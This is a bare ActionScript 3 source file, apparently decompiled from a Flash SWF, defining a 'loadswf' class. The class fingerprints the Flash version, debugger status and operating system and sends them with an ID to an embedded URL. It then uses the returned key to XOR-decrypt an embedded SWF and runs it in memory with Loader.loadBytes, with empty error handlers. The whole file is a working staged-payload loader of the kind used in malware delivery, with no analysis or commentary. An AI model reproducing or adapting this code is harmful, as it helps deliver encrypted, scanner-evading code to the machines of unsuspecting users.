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package
{
import flash.display.Loader;
import flash.display.Sprite;
import flash.events.Event;
import flash.events.IOErrorEvent;
import flash.events.SecurityErrorEvent;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.system.Capabilities;
import flash.text.TextField;
import flash.utils.ByteArray;
import mx.utils.StringUtil;
public class loadswf extends Sprite
{
private var SWFBClass:Class;
private var MyURL:Class;
private var txtfld:TextField;
var id_len:uint = 100;
var sz_swf_head:uint = 10;
var binData:ByteArray;
var myUrlReqest:URLRequest;
var myUrlLoader:URLLoader;
public function loadswf()
{
this.SWFBClass = loadswf_SWFBClass;
this.MyURL = loadswf_MyURL;
this.txtfld = new TextField();
this.myUrlReqest = new URLRequest();
this.myUrlLoader = new URLLoader();
super();
this.txtfld.width = 500;
this.txtfld.height = 1000;
addChild(this.txtfld);
this.myUrlLoader.addEventListener(Event.COMPLETE,this.Decript);
this.myUrlLoader.addEventListener(IOErrorEvent.IO_ERROR,this.OnIOErrorHandle);
this.myUrlLoader.addEventListener(SecurityErrorEvent.SECURITY_ERROR,this.OnSecurityErrorHandle);
this.binData = new this.SWFBClass() as ByteArray;
this.SendGetSwfKeyReqest();
}
public function SendGetSwfKeyReqest() : void
{
var swf_id:ByteArray = new ByteArray();
var strDbg:String = !!Capabilities.isDebugger?"-D":"";
var my_url:ByteArray = new this.MyURL() as ByteArray;
swf_id.writeBytes(this.binData,this.sz_swf_head,this.id_len);
this.myUrlReqest.url = StringUtil.trim(my_url.toString());
this.myUrlReqest.url = this.myUrlReqest.url + ("?id=" + this.Array2String(swf_id));
this.myUrlReqest.url = this.myUrlReqest.url + ("&fp_vs=" + Capabilities.version.replace(",",".") + strDbg);
this.myUrlReqest.url = this.myUrlReqest.url + ("&os_vs=" + Capabilities.os);
this.myUrlLoader.load(this.myUrlReqest);
}
private function Array2String(data:ByteArray, split:String = "") : String
{
var char:String = null;
var res:String = "";
for(var i:int = 0; i < data.length; i++)
{
char = data[i].toString(16).toUpperCase();
if(char.length == 1)
{
char = "0" + char;
}
res = res + (char + split);
}
return res;
}
public function Decript(event:Event) : void
{
var j:int = 0;
var loader:URLLoader = URLLoader(event.target);
var swf_key_txt:String = loader.data;
var decData:ByteArray = new ByteArray();
var swf_key:ByteArray = new ByteArray();
for(var i:int = 0; i < swf_key_txt.length; i = i + 2)
{
swf_key.writeByte(uint("0x" + swf_key_txt.substr(i,2)));
}
decData.writeBytes(this.binData,0,this.sz_swf_head);
this.binData.position = this.sz_swf_head + this.id_len;
var n:uint = this.binData.readUnsignedInt();
this.binData.position = 0;
for(i = this.sz_swf_head + this.id_len + 4; i < this.binData.length; i = i + 100)
{
for(j = 0; j < this.id_len; j++)
{
decData.writeByte(this.binData[i + j] ^ swf_key[j]);
}
}
var l:Loader = new Loader();
l.loadBytes(decData);
addChild(l);
}
public function OnIOErrorHandle(event:IOErrorEvent) : void
{
}
public function OnSecurityErrorHandle(event:SecurityErrorEvent) : void
{
}
}
}